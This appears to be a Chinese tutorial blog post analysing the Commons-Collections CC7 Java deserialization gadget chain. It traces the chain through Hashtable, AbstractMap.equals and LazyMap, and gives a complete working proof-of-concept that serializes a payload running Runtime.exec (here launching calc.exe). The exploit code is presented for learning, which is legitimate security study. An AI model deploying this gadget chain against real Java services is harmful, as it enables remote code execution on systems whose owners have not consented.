Commons-Collections篇-CC7链

前言

和CC5反序列化链相似,CC7也是后半条LazyMap执行命令链不变,但是中间过程通过AbstractMap.equals()触发LazyMap.get()方法

环境

我们可以接着使用之前已经搭建好的环境,具体过程可以看CC1分析文章的环境安装部分
Commons-Collections篇-CC1链小白基础分析学习

1.路线分析

和开头我们说的一样, CC7是后半条链不变,但是中间通过AbstractMap.equals()触发LazyMap.get()方法
我们先寻找到AbstractMap.equals()
在这里插入图片描述
我们可以看到判断中调用了get方法,接着寻找equals方法调用
在这里插入图片描述
在AbstractMapDecorator类中发现了equals方法的调用
在这里插入图片描述
在这里插入图片描述
在Hashtable类中reconstitutionPut方法发现了equals的调用,并且本身也被readObject调用
在这里插入图片描述
在这里插入图片描述

2.跑通路线

从我们上面的分析可以初步确定我们链的路线为:

Hashtable.reaObject
Hashtable.reconstitutionPut
    AbstractMapDecorator.equals
    AbstractMap.equals
        LazyMap.get

让我们来跑通这条路线

首先先把后半条链LazyMap.get写出来

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);
        #Lazy.get(Runtime.getRuntime());
        }

我们前半条链从前往后分析,在入口readObject处主要触发的是reconstitutionPut方法中的e.key.equals(key),如果想触发我们需要先进入for循环,但是第一次的tab[index] 是没有值的,必须执行完第一次reconstitutionPut方法才能够赋值
在这里插入图片描述
所以刚开始的hashtable我们需要多个元素才能进入readObject中的for循环,以此来进行多次的reconstitutionPut方法

在这里需要注意一下,如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素,之后就不会在反序列化的时候触发equals代码
在这里插入图片描述
在reconstitutionPut方法中想要触发equals方法,还需要满足e.hash == hash,但是e.hash是第一次咱们计算哈希获得的值,而hash是第二次,所以得保持两次hash计算相同

所以这一部分的代码为

Map map = new HashMap();
Map map2 = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);
Lazy.put("yy",1);
Lazy2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(Lazy,1);
hashtable.put(Lazy2,2);

Poc中会把LazyMap传入,会调用lazyMap的equal方法,但它本身是没有这个方法的,所以会调用它的父类AbstractoMapDecorator的equal方法

在这里插入图片描述
在这里插入图片描述
在AbstractoMapDecorator的equals方法中map为HashMap,但是HashMap本身是没有equals方法的,会跳转到AbstractMap.equals方法
在这里插入图片描述到这里,就回到咱们熟悉的LazyMap执行命令了

3.整体POC

还需要注意的是我们不想在序列化中执行我们的payload,所以先在最初指定一个空的chainedTransformer,我们在最后反射设置回我们要执行的命令

在最后我们还需要把Lazy2中去掉yy,因为在HashTable.put中也会调用到equals,当调用完equals()方法后,LazyMap2的key中就会增加一个yy键

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[]{String.class},
                        new Object[]{"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});
        Map map = new HashMap();
        Map map2 = new HashMap();
        Map Lazy = LazyMap.decorate(map, chainedTransformer);
        Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);
        Lazy.put("yy",1);
        Lazy2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy,1);
        hashtable.put(Lazy2,2);

        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        Lazy2.remove("yy");

        serializable(hashtable);

//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

我们反序列化刚才生成的文件

package org.example;
import java.lang.annotation.Annotation;

import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();
    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述

整体的利用链为:

Hashtable.readObject
Hashtable.reconstitutionPut
   AbstractMapDecorator.equals  
      AbstractMap.equals
           LazyMap.get()
            ChainedTransformer.transform()
                        ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()    
                                    Class.getMethod()
                            InvokerTransformer.transform()
                    Method.invoke()                        
                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                    Method.invoke()                        
                    Runtime.exec()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC2链分析

Commons-Collections篇-CC3链

Commons-Collections篇-CC4链分析

Commons-Collections篇-CC5链分析

Commons-Collections篇-CC6链分析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值